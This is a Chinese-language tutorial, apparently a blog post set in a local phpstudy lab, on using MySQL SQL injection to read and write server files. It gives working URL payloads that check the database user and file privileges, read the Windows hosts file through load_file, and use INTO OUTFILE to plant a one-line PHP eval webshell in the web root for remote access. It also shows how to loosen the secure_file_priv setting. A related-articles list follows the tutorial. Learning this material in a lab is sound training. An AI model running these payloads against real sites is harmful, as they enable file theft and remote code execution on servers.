SQL注入读写文件

文章目录

条件

SQL注入有直接SQL注入,也有文件读写时的注入,后者的主要

目的在于获取webshell或盗取重要文件。

  1. 当前(连接)数据库的用户具有文件读写权限。
  2. 已知读写目标文件的绝对路径。

web 应用在服务器上的绝对路径,一般情况下是不知道的。

但是系统敏感文件的路径是固定的。

  1. 安全选项secure_file_priv允许导入导出操作。

secure_file_priv=null,不允许导入导出操作。

secure_file_priv=目录名,只允许此目录及子目录下导入导出操作。

secure_file_priv= ,不对导入导出操作做限制。

利用SQL注入漏洞读取hosts文件

查看文件读写权限

输入语句逐个查看当前用户,查看到第三个用户发现他是root权限:

复制代码
?id=1' and 1=2 union select 1,user(),3 --+

输入语句查看用户的权限

复制代码
?id=1' and 1=2 union select 1,file_priv,3 from mysql.user where user='root' and host='localhost' --+

查看后用户具有文件读写权限:

安全选项允许导入导出

登录phpMyAdmin,点击变量,在搜索框中搜索priv,可以看到下面的变量,secure file priv的值为null:

然后在phpstudy中打开配置文件:

在mysqld中加入secure_file_priv=,保存

重启phpstudy,并刷新phpMyAdmin页面,搜索后发现发现变量secure file priv的值已经为空,此时已修改成功:

读取hosts文件

已知hosts文件的绝对路径是c:\windows\system32\drivers\etc\hosts,输入下面的联合查询语句,对hosts文件进行读取(注意需要对路径中的\进行转义):

复制代码
?id=1' and 1=2 union select 1,2,load_file("c:\\windows\\system32\\drivers\\etc\\hosts") --+

读取成功:

利用SQL注入漏洞写入一句话木马,并用蚁剑连接webshell

写入文件

输入下面SQL语句,在www目录下写入一个muma.php文件

复制代码
?id=1' and 1=2 union select 1,"<?php @eval($_REQUEST[777])?>",3 into outfile
"c:\\phpstudy\\WWW\\muma.php" --+

执行成功:

写入的文件:

相关推荐
李广坤12 小时前
MySQL 大表字段变更实践(改名 + 改类型 + 改长度)
数据库
爱可生开源社区2 天前
2026 年,优秀的 DBA 需要具备哪些素质?
数据库·人工智能·dba
随逸1772 天前
《从零搭建NestJS项目》
数据库·typescript
加号32 天前
windows系统下mysql多源数据库同步部署
数据库·windows·mysql
シ風箏2 天前
MySQL【部署 04】Docker部署 MySQL8.0.32 版本(网盘镜像及启动命令分享)
数据库·mysql·docker
李慕婉学姐2 天前
Springboot智慧社区系统设计与开发6n99s526(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
数据库·spring boot·后端
百锦再2 天前
Django实现接口token检测的实现方案
数据库·python·django·sqlite·flask·fastapi·pip
tryCbest2 天前
数据库SQL学习
数据库·sql
jnrjian2 天前
ORA-01017 查找机器名 用户名 以及library cache lock 参数含义
数据库·oracle
十月南城2 天前
数据湖技术对比——Iceberg、Hudi、Delta的表格格式与维护策略
大数据·数据库·数据仓库·hive·hadoop·spark